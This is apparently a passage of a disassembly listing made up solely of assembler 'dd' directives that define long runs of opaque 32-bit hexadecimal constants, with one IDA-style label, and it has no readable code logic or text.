dd 0DDAD8Bh, 0EEB3262Dh, 15EC2BFAh, 862F9E00h, 32F5E5ACh
dd 0C29700DEh, 9373F20h, 0E600A441h, 5E26C674h, 713EF9h
dd 0AC20D386h, 915790CFh, 3CEE6B00h, 0D15EB9EBh, 0F451F3Fh
dd 7264C0C8h, 0D93B65C4h, 0D3B16807h, 4150C087h, 938E75h
dd 0BC85CB44h, 0BB96FDB6h, 36BCFC50h, 33CE0800h, 9B3E3DA0h
dd 8D890087h, 88636604h, 1B006BC1h, 98EE7FC7h, 1F3DB9FEh
dd 4039F65Fh, 0F4B3E8A2h, 5703328Dh, 0B8A1FBB2h, 3C000F2h
dd 1C08302Eh, 1A00AD8Ch, 0D1187855h, 18B6A239h, 88BAFF86h
dd 970043DBh, 0E0C1809Ch, 54601Ah, 0EF6DF0C2h, 5EA0F30Eh
dd 0E4C68800h, 44AB0A4Dh, 0FC5A00A8h, 8EEAADB5h, 0B1005069h
dd 0F7B9C92Eh, 16C78802h, 35E5412h, 44CA06B4h, 0C32BACB8h
dd 0AB1CFF06h, 0EA30985Ch, 63350039h, 34E42D62h, 0A43A74F3h
dd 0BF8880CDh, 0B8F8720h, 0F855001Dh, 0AA02EAB4h, 79072AC8h
dd 9589A87Dh, 0EFAF88E0h, 0D9DA0174h, 0E4606A7Ah, 5AAC404Ah
dd 0D1052A64h, 0B503C462h, 0C96E8840h, 716FC289h, 51EE06E9h
dd 1ED0DE02h, 23304A00h, 69C37752h, 0ED9D0072h, 4D3E9305h
dd 0A70E5D35h, 60A5B1A8h, 5473D4BCh, 3C3300FAh, 4C9FB5Ch
dd 0AF006819h, 5A0B7B3Bh, 0AB31B8h, 7F8DCC07h, 83FBE8DAh
dd 39663Dh, 7EC487CFh, 0E94D82h, 10F5FA5h, 89B77073h, 308FB900h
dd 5C0B34CEh, 130407AAh, 38CC32h, 4F536FE2h, 2372061Eh
dd 63D480FAh, 0DB03EDA6h, 0EE8E0084h, 94688DCFh, 0E8046D38h
dd 0FBBF5628h, 73DCF890h, 3A040082h, 6AEFD73Eh, 0ED03CA7Eh
dd 0E4CD0FC8h, 0E8E80032h, 36A8C92Bh, 5F5CB31Ah, 415900A8h
dd 0CD31C3E0h, 0E53A00FBh, 0C826207Eh, 5A00F42Eh, 8C872485h
dd 1CA5CAFAh, 4CDC2C7Bh, 0A710C7DBh, 0FFB8E300h, 11969B8Ch
dd 3DEA000Ah, 9277F843h, 34036AFDh, 2B855E3Bh, 0B406A89Dh
dd 0F5DB00C2h, 0D89944F2h, 0A07E32ADh, 1D4BAB00h, 89FF711Ah
dd 30BC73E3h, 0E220DABBh, 200269Dh, 7391B2CDh, 8D29C7h
dd 4A6662Eh, 2BBA1D8Ah, 0FA06B800h, 9CA1C9D3h, 93230405h
dd 875B1345h, 0F2D050F4h, 0C7000D6Ch, 5C3A4416h, 28D9D432h
dd 48E87037h, 0A013047h, 0DC625821h, 0FD4C8179h, 397B80DDh
dd 3A7FCE60h, 0E2839D60h, 0FAA06E09h, 1080DBB8h, 93CBD900h
dd 3D6DAB99h, 8E4A07D6h, 6086451Dh, 78A58C01h, 7448E3E6h
dd 92BB0030h, 0AE04E45Fh, 5C17001Fh, 50ADF3D5h, 70388AE3h
dd 24D72403h, 0FFB4AF00h, 0A62706h, 0AC2C2885h, 0CB2D1AB7h
dd 4F19BB00h, 0CC0ED542h, 9F7B00C8h, 52673C39h, 0FB0097B6h
dd 0DE2A6115h, 708A5D5h, 0DB69C940h, 8E669035h, 370F9583h
dd 0A0AFFEB0h, 8BDA4DD3h, 81FCF3FCh, 0D0E47Eh, 0BE9B4632h
dd 87A4E7F2h, 0F0096E2h, 70D6619Dh, 95212Eh, 5294FDD5h
dd 806DDC04h, 5E4D000h, 0F0A862DDh, 0FCDB002Ch, 0D53A5F0Fh
dd 0AFF2116Ch, 0CB37E218h, 67B6BAh, 50F885B3h, 91353C4Ch
dd 65AD1A03h, 0CF3A942Bh, 4AC860DEh, 7D31501h, 24EF5F04h
dd 0B67BD06Dh, 18EA5BB1h, 3DB71300h, 5C8434DAh, 9DB000FDh
dd 0D39FB9B5h, 3E07D9F5h, 0E7F0EA67h, 0FCA9276h, 0ACE3AB78h
dd 80064464h, 0D481427Dh, 0B61EB800h, 0FD7D409Eh, 4F160098h
dd 0AFBCCB96h, 6491B76Bh, 0F5B90Eh, 418F3F97h, 98000F7h
dd 81DA2120h, 0A0001605h, 0B2DEC7E8h, 16BB667h, 0B8C03BBDh
dd 80CC5862h, 0EB95345Eh, 5DC728h, 0E28E8A90h, 64A3F8ACh
dd 75623600h, 0ECA604EDh, 0AEC50298h, 0A0B54387h, 0B0C044E3h
dd 7400A9C7h, 0E869794Dh, 0F509D57Eh, 809BC0h, 9005F11Ah
dd 332EA5CDh, 4D814402h, 607776A8h, 0FA9804h, 59468E99h
dd 4956B3EFh, 32F60300h, 966E44Ch, 5A471F4h, 200C4B46h
dd 0CD80810Eh, 0A3FF2040h, 0D1FB1700h, 4202C143h, 0BEFC0280h
dd 0D6BC725Ah, 33A430C0h, 5590A100h, 0FC0FA56Ch, 0C7EE0345h
dd 0A9F7071Bh, 0C175F8C8h, 0DE4CED00h, 0FCB5D1A4h, 0D96207FEh
dd 0C97D0E5Ah, 0A3756780h, 0BE05AA0Ch, 498E69DCh, 7B693C0h
dd 1C7CFA4Dh, 87BC0260h, 0A00DE32Bh, 9138AD63h, 14971600h
dd 0A62E3C62h, 1F2A0060h, 0C9BED235h, 0CD754529h, 3498C00Eh
dd 59570028h, 1C5CFh, 6C294F39h, 0D240E65Ah, 1F001AFEh
dd 0F1964584h, 0ED7D2Eh, 0EF4FB7FBh, 0E66349D4h, 45F80C09h
dd 8EDB0022h, 34A79DFh, 0D8B38046h, 0CBB0BC06h, 941733F1h
dd 0DC072688h, 71F0A3D3h, 39C81E7Ch, 0DC1DC428h, 0D788C099h
dd 0CE67ADBDh, 0B81AB100h, 6CC7FA30h, 0F890183h, 1E9BF07h
dd 0CBF0740Dh, 0AE49DC00h, 272CB366h, 3303008Ah, 0B9E3B81Fh
dd 0B100DAD7h, 2B3BFFC4h, 0FCDFFBh, 22EF5814h, 0D37BDBBh
dd 44BF9D00h, 0EA0717A7h, 49C300D1h, 0EE6F387Ah, 700072ACh
dd 8A8E9E3Dh, 12449BB2h, 5ED4CCh, 0C3F8C12Ch, 383E37C6h
dd 4D21801Fh, 0A7609B09h, 8DF634h, 0BD7306Eh, 3D640E5Fh
dd 9402A200h, 0C55BA160h, 20F7737h, 0B9232095h, 8140C958h
dd 4B1EF5FBh, 550EEE62h, 2291E051h, 30200368h, 0B27A5A70h
dd 0E4008027h, 0A75FDB21h, 0FEDF1C8Ch, 69A900CAh, 21BD5E1h
dd 120076D8h, 3A25E2E6h, 0B08ABFh, 6A68847Fh, 4B0B4778h
dd 0D5E0A51Ch, 3B89DD04h, 0E24E50C0h, 0DE540052h, 24468219h
dd 85078EF1h, 60E3C9F0h, 0C86479C3h, 0A37774h, 9D28880h
dd 93D83871h, 62322B02h, 60AE46FDh, 0A1EABDh, 0BC0D0C07h
dd 8B4CEEDh, 16CD151Dh, 8E4C354Bh, 0C1FB87E5h, 6E94F1B0h
dd 57FCD4h, 92223243h, 998DCB31h, 804A6000h, 7AB19AF7h
dd 0B3360075h, 0B076C4FEh, 0E00D131h, 0D223B468h, 57610Ch
dd 65BC7701h, 1527878Ch, 43DA3707h, 3010469Eh, 7A9C7Bh
dd 127D8EF2h, 0A2F90F2Eh, 9D0C2F03h, 0E0E67E35h, 19CBC50h
dd 52568A4Bh, 80835CF2h, 0E3945B88h, 183478EBh, 19877FD1h
dd 983CA931h, 0A4718040h, 6E530F67h, 76F800E1h, 823E50C0h
dd 2D50C17Ah, 0BC00E494h, 0B45411C7h, 1E97CBDEh, 40505910h
dd 0C87AAD68h, 6E0707F7h, 8EC3A295h, 1EDFED80h, 739300D4h
dd 0B203198Ah, 7E00ACAFh, 74793688h, 0FF9C108h, 4EEFE7F8h
dd 965A22E0h, 0DCF32E59h, 200D7FFh, 6A24648Ah, 1D3744Eh
dd 0DB2B14DEh, 0EC31B661h, 64008321h, 6696930Ch, 3E0E6C06h
dd 87966E39h, 738800E4h, 0C3B52ACCh, 80F7B438h, 8A05FDA4h
dd 0FF10A37h, 0FA91DB02h, 0F1B62E2h, 73404AC0h, 0B1E96400h
dd 0F123A187h, 108E49C4h, 2547700h, 0EC6A5376h, 4BB218C0h
dd 42BB80h, 6CF778F2h, 531A2A5Ch, 0AE6AB000h, 0B607BA6Dh
dd 942000BDh, 759C3CA6h, 0F9121C44h, 0DA0A7A9Ah, 2100B0D6h
dd 3DA8AA1Eh, 2EF3008Ch, 0D7FB37CEh, 2F01CACBh, 52C9A68Dh
dd 7E40E93h, 6AE90360h, 9F76046Ch, 0B280B88Bh, 6998ED97h
dd 730565B0h, 3D68D73Ah, 808CE00Bh, 0A9A2B395h, 6DE338E5h
dd 8E9C6780h, 0CA07AEEAh, 69FAED00h, 159B405Ch, 0A35B074Fh
dd 0D0DBCE38h
dd 7A31D66Dh, 21E63D09h, 0BCC18078h, 0DA6C8Ah, 0D8D9F28h
dd 719093DCh, 73A46404h, 0C3801141h, 6AAF5Ah, 2AA9C2BDh
dd 9904E5BFh, 40CB53FCh, 0D28F00E0h, 0D6653Fh, 4A5C661Ch
dd 0AFB04BD8h, 9DB6C31Dh, 47F7B2C1h, 5BD07572h, 3E6FECDh
dd 0D064911Ch, 0B8C65FE7h, 840029F4h, 40F8939Dh, 9048EBh
dd 0C23DE7C0h, 0A7B9FDB3h, 7A1A0D07h, 4F705A6Dh, 0E652168h
dd 8E870F98h, 0DC724CA3h, 0F560F7BAh, 350058D2h, 0F9FED8A1h
dd 0E7EB8Eh, 0AC51AEEDh, 2EA439ADh, 0FE10E00h, 0A10143D6h
dd 8A370030h, 6E27428h, 7F16D785h, 52005DE9h, 4399DE67h
dd 727788h, 2F08CA23h, 46B85AF0h, 728F8624h, 13B0ED00h
dd 0E558D79h, 28192543h, 0BC7B03E0h, 2300D5F7h, 8CC10E44h
dd 0AA0934h, 675BE791h, 2692691Fh, 9507D9FCh, 7C41B24Ch
dd 1BC0AA80h, 85FA2609h, 40561D3Bh, 0A65EF210h, 0DB0F19DCh
dd 8079CE0Ah, 0A4C8EBC1h, 2D350065h, 5D99A1A3h, 0F860F15Fh
dd 0FEC1FF48h, 3E827FC7h, 47A68DBh, 888D709Fh, 4CF1C08Ah
dd 8FA01367h, 0F2006FBEh, 913C08C4h, 0F5094B83h, 714D8FF0h
dd 28BC07DAh, 5E5428Bh, 5AA4002Dh, 3DD01B29h, 0FC3C4B00h
dd 0CF265978h, 0AF040088h, 82D9517Bh, 21001BB2h, 13FB773Bh
dd 1595B3h, 362C0CBEh, 1F5EE240h, 643D9305h, 36C72A51h
dd 0E5D22980h, 1180E34Bh, 7959DCEBh, 370FF73Bh, 0E0FB828Bh
dd 652DFCA4h, 532B0092h, 7CB97385h, 3AE87771h, 3400E774h
dd 0BCDC74CEh, 0F4DFD551h, 4C235807h, 55B24800h, 0AF2EA8F8h
dd 0A3276007h, 0E4E044BCh, 0D34D92h, 5EFA5BECh, 47425329h
dd 19EFB903h, 0F8F022CAh, 18AA70B2h, 88267D1Eh, 8E2680C1h
dd 7E007D10h, 4614F6D0h, 0DF730001h, 898720B8h, 5D003230h
dd 8C438EBBh, 2EC94Eh, 0B0576034h, 27A17A48h, 0DADDF40Fh
dd 8D8560A7h, 2D1ECB5h, 10D2FF51h, 30402A11h, 1C0E3970h
dd 0EC3E6615h, 4A058A6h, 0F05034B6h, 6728C0A1h, 0FE3A014Bh
dd 393AB0E0h, 8598CBh, 0A9B88434h, 6086F956h, 4E005490h
dd 1E3DC95Bh, 3E70F1E6h, 63BC774Ch, 6B070D00h, 0B0359FA8h
dd 0C1EA1701h, 5DFF3AA4h, 0F1EDC8h, 6EAC291Dh, 62048A82h
dd 277E7C00h, 314BB124h, 0D550063h, 6E73C203h, 2500043Ch
dd 7E3ED14h, 79493Bh, 2F8CB8E8h, 0B476E9D6h, 0F5570B00h
dd 0FEC4EE99h, 0CF080EA1h, 0AE8033EBh, 86B1DCC1h, 193FE20Fh
dd 0E3697Bh, 254F14A4h, 0FA040384h, 8CDB5CCh, 7C9FF000h
dd 0EF0DE489h, 0B64401A2h, 0DDFAD0C7h, 92E07FBFh, 0A88605A4h
dd 7C8EACh, 0C0611AA4h, 0E10035D1h, 0A40AFE13h, 0FE85F0A9h
dd 4FB0000Dh, 4A654060h, 6B00635Fh, 1D6AB9BCh, 0F61F6148h
dd 0D4F9587Ah, 8B39FB01h, 206F9EE1h, 0D300C810h, 2EE9C53Dh
dd 1D33F072h, 8BA33E29h, 0C6003563h, 8B8A587h, 25C50A00h
dd 7C91ED60h, 0DC4A1469h, 2603E098h, 9247E1C9h, 7B061D98h
dd 5AA58200h, 0C8FDD62Ah, 0A95007EEh, 7051A893h, 4ACD8103h
dd 1D5A38h, 0CF7B0AB7h, 7A6248F8h, 0E4231E69h, 5F46856h
dd 0D71758F1h, 7F01C098h, 3C01F6B5h, 0E3FFCBA7h, 14ECCE20h
dd 0E55F0CDh, 0DD42C32Ah, 150E4D60h, 2E00AC5Dh, 0DBF5230Ah
dd 54EF60h, 0C5A04EFCh, 0FF8757E7h, 83D8824h, 6E52802h
dd 734C618Ch, 3D0115D4h, 0DBBD2C5Dh, 0D1FE0079h, 4AA9EFE0h
dd 1171988Eh, 9D88A616h, 3783E800h, 60670196h, 0F9476053h
dd 7E017798h, 0B292591Bh, 820F0FAh, 572A018Ch, 8E8D54A8h
dd 25F630C1h, 5E046204h, 8380024Ch, 0F11F1495h, 3F3F430h
dd 19E106EEh, 0F9B80A1Dh, 55029978h, 0C63FD09h, 6A96600Eh
dd 0E2B32432h, 7E0A00FEh, 0CF05B069h, 22C00300h, 7D0C8E91h
dd 1C570FBDh, 0A2607ADAh, 1683A59Eh, 704884E0h, 4BF4048h
dd 0BE1F2E00h, 0BA0AB611h, 5688003Ah, 67DAD1A0h, 16FCA7CFh
dd 27E79400h, 0D9AFA640h, 92C903B6h, 0D09D506Fh, 0A91809F0h
dd 75494801h, 791EFB98h, 3CCA2CF0h, 9C804F1Ah, 0ECBB7277h
dd 0A90080E0h, 91FF6B06h, 12D47Bh, 0A5C0FFAh, 20DA886Eh
dd 4B00E0EAh, 0A8F657A0h, 0E6F3FB7Eh, 0DFAB0EE2h, 6A818CF2h
dd 0BE2D65BCh, 22A10070h, 5242519h, 86360EAh, 0C8E75EC9h
dd 99E35930h, 0DE202F27h, 1AA00330h, 2A0643Eh, 8DE25842h
dd 0E6255B00h, 70F06328h, 1CA93B61h, 0E15ECE80h, 0BC54C26Fh
dd 0A2BB0500h, 0E35AC42Dh, 0F98F00ABh, 9B277426h, 6D002F40h
dd 0CA351CFEh, 81DAFCh, 0DD53A1FBh, 0A38BF2F3h, 80128730h
dd 0F4ABA49h, 0FCBD758Ch, 0A0C658Ah, 6C9CBCh, 89F397A5h
dd 0DD00744Bh, 3B0D3E71h, 48B113FFh, 3A009005h, 2A82528Dh
dd 701A920h, 39C09E87h, 66D43B3Fh, 362F0012h, 5AE8A20Bh
dd 2B00E577h, 276D7160h, 1FD357Ah, 0EA2FC624h, 60994FB6h
dd 0DF707C29h, 0C31F0501h, 3861B7A1h, 23414F0h, 0C1C26269h
dd 94C0BC86h, 227166C4h, 354513Fh, 0D9A6DCDBh, 0C3249B65h
dd 0D7A280E8h, 87251F82h, 8E5613h, 97BDDF5Bh, 1400FA63h
dd 94660A0Dh, 7CE2B0Eh, 8B7FAC2Fh, 503E6090h, 310E0506h
dd 80BD7C6Ch, 0B239CCB7h, 7DE11D19h, 0FEF401CBh, 504AFA18h
dd 6B7E8798h, 8E683907h, 0B62094DEh, 0C15DD1Fh, 475A28ABh
dd 3A009B29h, 0E8684118h, 0FC082BD7h, 0BFC0A046h, 0F4303A76h
dd 0F2C87F2Ah, 8E30026h, 1ADB89C8h, 7300AA31h, 882BB9EBh
dd 8DEC0Dh, 0FDF56F43h, 0D8A9C838h, 41C38B90h, 0F8EABDF0h
dd 1DA076h, 0E4E6C7E0h, 5828C662h, 0C9912660h, 3A2BD4F6h
dd 78804A51h, 0C4ECCB36h, 0F500FF0Eh, 0B925A975h, 0C1B64B3Ch
dd 0F1B79559h, 0E316DC23h, 0E93F741Ch, 40BE01B8h, 19A12E12h
dd 18C36050h, 2C591597h, 60398811h, 39563300h, 3EA1533Ch
dd 0DE0062E8h, 6E1DE775h, 3AC74FC8h, 0D63A8D40h, 0F158CBBCh
dd 0CE32511Eh, 0C1401FA3h, 14905B4Bh, 0C042C707h, 0F9D21206h
dd 0A488606Eh, 923630Bh, 20004146h, 0BBF90AF2h, 0E983D91Ah
dd 908AE0F8h, 20396079h, 0A6A042B2h, 6F01A5F4h, 3FDEF60Bh
dd 0D3D1D947h, 739D00E2h, 0E6011888h, 0D8B33707h, 44ECC7A2h
dd 0E20B00C8h, 5B381F46h, 0B10E94C0h, 9AC2110Dh, 0B5E400A0h
dd 7E734AEh, 4F43C4FEh, 0B03243FFh, 9BFD200Fh, 147FFCB4h
dd 62CD773h, 46E5BD10h, 0BBC00081h, 65B9DFC6h, 4A1845C7h
dd 0A120B3FCh, 380C52B1h, 0BBB4A201h, 0C057F34h, 0F6FC8838h
dd 31BB55Ch, 646A455Eh, 0B6C00612h, 801EE7C6h, 0C5B9D403h
dd 38C39FC4h, 1A00B170h, 25703360h, 72045F79h, 0ACBD30C2h
dd 0E4946C80h, 0FD85006Bh, 0D2AD3BAAh, 0EB0081C1h, 9F8D2447h
dd 3A589305h, 4F2C8AEDh, 0D0D9008Dh, 0C2446203h, 0B72ABB00h
dd 0F20DE776h, 6B4503B8h, 350F6894h, 48C04AE0h, 2286012h
dd 909D2F01h, 29C82663h, 1E5A0141h, 0DDB95532h, 43E5FCDBh
dd 0D425860Fh, 5A586203h, 0ABF840DCh, 0FEC21747h, 0A100BF5Ch
dd 64378250h, 7EE600FDh, 0ED8FD1C6h, 1D00C105h, 0A87C1692h
dd 8D2EBCh, 4F851FB1h, 652C9170h, 0F766EF00h, 68E56763h
dd 0C38101FCh, 0C428FE06h, 0D516C46Ch, 0B99ABE00h, 8890FF20h
dd 49800032h, 64F7236Eh, 0B1011EAEh, 0F0DE91ABh, 0D8D4EE35h
dd 0E6262C47h, 921C00D4h, 0D63E40FCh, 6004D7Ah, 1162C567h
dd 0C375CCh, 0EA103899h, 1B0D5518h, 2B00E8F4h, 6CE35FCFh
dd 73EE36h, 47DE6651h
dword_511C48 dd 0D4EF6D2Eh, 0E224770Eh, 41AD038Fh, 0B442DF1Fh, 8D607719h
dd 0DD1CFF50h, 3DDFE4A2h, 7B0257C0h, 0FC0135A5h, 312400A4h
dd 6A96DFB1h, 3700FF12h, 3516187Eh, 28A9E1A5h, 3EB0C699h
dd 0EB80608Ah, 6E460193h, 92003285h, 9C70F291h, 63BB7A9h
dd 968951AFh, 0E2222975h, 0D8A62277h, 10392B22h, 11EF12D7h
dd 500872BEh, 1F10710Eh, 48209184h, 4FE842BAh, 183C942Fh
dd 362918DFh, 0E58F8879h, 62ED79D4h, 2426D029h, 0EBF32112h
dd 113D7B11h, 6E113A53h, 0E329116Dh, 28812F12h, 3EAC80Fh
dd 1729006Ah, 2DC5DA20h, 8D5C08CBh, 388C0139h, 752B3449h
dd 0ED10230h, 0C3BBFFF7h, 0E3947B80h, 4F0B303h, 35B03E7Bh
dd 0C7189800h, 89934E5Ch, 427360h, 15C2B0ADh, 19BA8331h
dd 0C5D8D00h, 96F33BFCh, 2B604F6h, 0C0A02CE6h, 4F576027h
dd 1A548503h, 0C74489h, 0C10D74E8h, 0A229D138h, 98AC5201h
dd 0B5A38A1Eh, 1E32DC0h, 0FF1B423Ah, 0C9E129B0h, 31D0D71Dh
dd 3200DA92h, 0EFF31536h, 795F30FBh, 6374008Bh, 616C9B42h
dd 0AB000C96h, 20587A33h, 1718391h, 77C2B9F8h, 43115016h
dd 2CC064D0h, 0C800B203h, 0B098BE30h, 0D34591h, 21CAB9E6h
dd 0F1E7FBADh, 1C00CF79h, 24BCA0B4h, 98115CBEh, 0C998C00Bh
dd 0A4765BBFh, 0D4EA1600h, 49D63186h, 0EF071E7Ah, 0FE7DC095h
dd 6AB3334Dh, 1747FF00h, 5C1318B5h, 0BBED00A4h, 0E9E1F484h
dd 0F300614Bh, 129AEAE6h, 0C6C5714h, 9D0149F9h, 4F3BFD10h
dd 313C0004h, 0EA0ED993h, 422E007Ch, 4BB4E881h, 76E8FF88h
dd 4D164800h, 0B91275FEh, 0B61C078Bh, 40B80531h, 0AD4A682Eh
dd 0D85DF700h, 92A16B79h, 2C1A03D1h, 0AC54F37h, 7FCD9390h
dd 0C1694E00h, 0E15C6F04h, 0C471000Bh, 64B6A58Ch, 3B00A0C0h
dd 79F37C23h, 0FF693ADh, 0DE7362EEh, 199AE500h, 39010A49h
dd 14151237h, 0F8402324h, 0DF160Fh, 337CD5C4h, 82913B32h
dd 0B147520Bh, 0D16300A0h, 0B8BB8h, 0EAD2A303h, 689DF230h
dd 64DC3F03h, 0F8E11h, 1E8DBEF8h, 0FBED2FDBh, 5F4AC407h
dd 0E6F11948h, 806A8252h, 5C766DDFh, 2DFEFEE6h, 0BF8A0D3Eh
dd 80353FCBh, 0C1D14DBDh, 0FA8588h, 0A54C4F62h, 9F38077h
dd 0ACF92F00h, 2AC315D8h, 0ECDB381Dh, 0A3BF2B80h, 0FAC97E29h
dd 69BDAF00h, 4C28B585h, 1BA40045h, 0F451B4DCh, 0E0FE2B79h
dd 0C7C42500h, 0FB099DC0h, 447CF7h, 0E2F5B9E7h, 61C5A954h
dd 0B800AFEAh, 91AEC61Ch, 0EAADC47Bh, 59D20064h, 7C1410CDh
dd 5C12926Bh, 2F1D9h, 7E3A41h, 64727124h, 0D528E160h, 7BF19C05h
dd 9B7E4Eh, 3EA790C7h, 5F540DA1h, 0A3003F71h, 0D17129D4h
dd 3A012B52h, 0A001E1F6h, 0F9F73157h, 5CA370B0h, 1A18CA60h
dd 2B33C15h, 9D6449E4h, 500C77Fh, 0D23D43h, 0C935B825h
dd 0EC778C84h, 8F0BB0F0h, 805B364Ch, 2D6F2085h, 1BCD007Dh
dd 62A42333h, 1050A2B1h, 121F7C87h, 9AC0BDC6h, 74B7E1C8h
dd 9B7D001Eh, 36225002h, 9700175Ah, 9C85F6C6h, 1EA3D726h
dd 40A1292Ch, 4F8BC720h, 2800C4EEh, 0EA83D7Fh, 0CDD1DCh
dd 646E2330h, 0F9739F74h, 0A62E4400h, 0C5CB8317h, 0C8FA00FCh
dd 0E6191A79h, 3F00FE02h, 5C53B009h, 31D787h, 7948CEE5h
dd 74C0B16Ch, 0B4552A00h, 0FF5A4D65h, 7B9B0344h, 519D8601h
dd 0C4DB3CD9h, 1100E8BBh, 0E49E80A8h, 0FAA6239Fh, 880A1D39h
dd 0AA0E3F8Ch, 990B90C1h, 4FBFDB83h, 0A5F95BA8h, 7C64BE00h
dd 3065A6A4h, 0DF4D00A1h, 0DEE6CDB5h, 900F9FD1h, 409ED360h
dd 0FCF306ACh, 3E4077ADh, 999E778Dh, 0D97640E1h, 0C3699F82h
dd 3400377Fh, 0A654092Ah, 1759B1h, 79F5C065h, 56AEB9A9h
dd 0ABB89C12h, 431C6C00h, 1C35C9F0h, 806A7F36h, 0CE5BE02Ah
dd 0B6003E7Dh, 0C663F3FEh, 1DC4749Ch, 405627C0h, 3071E824h
dd 7838DA76h, 0E5F28287h, 0E113C5ABh, 79ECF037h, 2678EAh
dd 20E7110Ch, 4E54F1F2h, 0AF5D9D00h, 0CE4A7B35h, 169036h
dd 24C52B83h, 0AE15996Fh, 739A9200h, 25010430h, 0F33900A7h
dd 7EAB38C9h, 0EF003483h, 957B4C58h, 245C462Bh, 4C61Ah
dd 0D8129931h, 35983A35h, 385BD200h, 4B76060Ah, 13BA002Ah
dd 0F0D9C7E7h, 5D00CCFEh, 97FA1D1Eh, 0C0D43F1h, 6B6057D4h
dd 3A09E856h, 7208B5h, 0AFCE6804h, 526C03B4h, 0D7C44B3Eh
dd 790D008Fh, 0CA012FEBh, 0C1556917h, 8E43FC19h, 0DB0EC0B3h
dd 56930079h, 14C788C0h, 0A00032CEh, 0F7BD970Fh, 1F6D353Eh
dd 7D0D17h, 0BF2658F8h, 0FB135491h, 241E2EEAh, 0D3D98AC0h
dd 391DDF04h, 870719C9h, 12924229h, 0F760BB20h, 8D01670Bh
dd 0C94FF351h, 0CEECBD31h, 0DA290065h, 0B843D0CFh, 0ED05D398h
dd 4E5F57E8h, 0A14A9803h, 3FBDA05Bh, 9FC2008Dh, 0AEFBE4E6h
dd 6C009D6Bh, 0A002442Dh, 83AC0h, 0B35E6040h, 0AC05F6C2h
dd 4326550Fh, 0EF2520F4h, 1460CE5h, 26EBEE3h, 0C4042B2Eh
dd 58007918h, 4163D64Bh, 30BB339h, 0C05FE7E4h, 29D03C86h
dd 8D1B38EEh, 1387206h, 0B59BDACCh, 83AC7F73h, 0E1D8EBA1h
dd 4061A884h, 0A60E1FAFh, 8F39C038h, 0C9D2FB0Dh, 8AB08900h
dd 885B3048h, 0EA5E0071h, 0F656167h, 430BB255h, 7C3B7422h
dd 42AE00ADh, 2C2F8B9h, 9FD31600h, 0E44F320Ah, 2DBC00CEh
dd 0A288EF8Fh, 770018C7h, 901F852Bh, 7C41E38h, 0EA5F8E7Bh
dd 96C02EFDh, 353D40CEh, 2FF55000h, 5626330Dh, 465A1D0Fh
dd 27E28076h, 19517A70h, 804DD73Bh, 48C7D28Ah, 0B0B7E8Ch
dd 3DABEA7Ch, 0C0C1B784h, 1628ACF0h, 0A3931301h, 85F04932h
dd 7D3E6ECh, 0C518D05Eh, 0AD38A050h, 4C126D9Eh, 46008187h
dd 159A8B61h, 0D6C102C4h, 5DC7AE6Eh, 0AC4E6057h, 9F2D0F65h
dd 8AA413BEh, 80E8C7F5h, 4CF38315h, 36093300h, 11696784h
dd 0F0D800A5h, 523C7B76h, 573F9820h, 0B598F85h, 9000FF08h
dd 0B4FE8042h, 0CAEC002Dh, 15499443h, 3F01C8DFh, 0C03668F8h
dd 0DB99B0h, 0B5107A18h, 2E270DF0h, 2F1C1601h, 6A134CF5h
dd 5C2D9CC0h, 900E0B2h, 0AEFE68C7h, 407A843h, 8BD01D6Bh
dd 0FEB6030h, 0BC2E2C7Fh, 0A532400Ch, 0B700C2D3h, 7366DD20h
dd 7507180h, 0BD0862E5h, 9A83C00Ch, 600004F3h, 0C68CB678h
dd 0C72CD6h, 4F55BEA6h, 7D799B6Eh, 0F2D5C00h, 1281E231h
dd 72D300A4h, 592CB1FDh, 3F0062F1h, 0F379C650h, 0E763920h
dd 3199CBBh, 0EE2F18E1h, 0C4ABF411h, 0DC12DEE4h, 70003D42h
dd 2E325180h, 5D031CBAh, 272D4369h, 0CED0715Bh, 537299B5h
dd 66F91E01h, 73B67F5h, 3CEF806Bh, 372CCEDh, 8FEF0C05h
dd 0A80E85E0h, 6D19601Ah, 569581h, 0CBF5A03Dh, 446FA3A1h
dd 46007F7Bh, 0E86EB9B0h, 0CF8AC4h, 513BD27Bh, 0F066C9D0h
dd 2CB1CC4Ch, 4E0107E5h, 993302CFh, 69F78140h, 34E600DDh
dd 0FDD1ADC2h, 75002D61h, 7FAB3F16h, 0B0320C64h, 62ED0010h
dd 796D0A22h, 0E305533h, 233FF0D9h, 0CB7C0A3Dh, 3CBC9719h
dd 8C157180h, 0ACD4DF24h, 74BF8D07h, 0CE0045D7h, 0E33903h
dd 82C225BCh, 0E8797588h, 963EED00h, 289DA9D0h, 60490509h
dd 888672AAh, 5E00C9A8h, 899D397h, 6E1BCAh, 329E36E0h
dd 7F294212h, 8D7E5700h, 0B7A9939Ch, 0D0485CFBh, 0A71F4D07h
dd 0C7C74E1Eh, 6445802Ah, 10589739h, 34E3264Dh, 8DEDC400h
dd 921913h, 0EEE2D833h, 81AF3450h, 0A8CD6100h, 10C5DD84h
dd 23FB0ED3h
dd 87203A8Dh, 0A7E266FDh, 320B4303h, 88782136h, 56D6A63h
dd 0EA54AC67h, 0DB9407D0h, 568B4028h, 66162AF6h, 0AAFDDCh
dd 8D6F77EFh, 2DE25008h, 0D8215300h, 0B7EDD147h, 26F20048h
dd 2E91D517h, 1D011BF8h, 399E5F41h, 94470A1Ch, 0EAB97AC0h
dd 0B841201h, 33F40018h, 0E24FF0D1h, 426F731Dh, 259880FFh
dd 0AD3AD63Fh, 38B30172h, 2E223684h, 0D1BF7042h, 0C315DD1Fh
dd 5C40E35Ch, 137B7834h, 0ECAF00D5h, 763268BFh, 4E00A445h
dd 83D44BB3h, 0A6099Eh, 2CBE020Ah, 8FB71CE7h, 51064E04h
dd 7880C821h, 9085863Ah, 0A72F0042h, 8E3E3209h, 6D5048BDh
dd 0B7115D94h, 27007498h, 0D2A359AAh, 0DB1D42BAh, 0DFCF07CAh
dd 0FF0621F6h, 68833696h, 646B1D9Fh, 99C7CC00h, 0C2A25B4Ah
dd 90B1023Fh, 78B52687h, 4893D4E8h, 1E226009h, 0E02838EEh
dd 193102B6h, 96367653h, 941C10C2h, 234A20h, 0A5AE1DB5h
dd 0F2A9F79h, 0D45C60EAh, 7DB70621h, 2484E59h, 0DFB6FD42h
dd 30481DC6h, 0DE00CDB1h, 0A5F643BAh, 0F6E99A0Dh, 41F807h
dd 4F38A7C0h, 0DD03ADC5h, 0B320770Eh, 0CCB620E1h, 6F107Bh
dd 0AD2C12C8h, 4A70B7F6h, 0DEBD2200h, 54AA070Ah, 0FB8D05D0h
dd 87C58CE3h, 78C29E28h, 58503E6Ah, 16B19701h, 77367BBEh
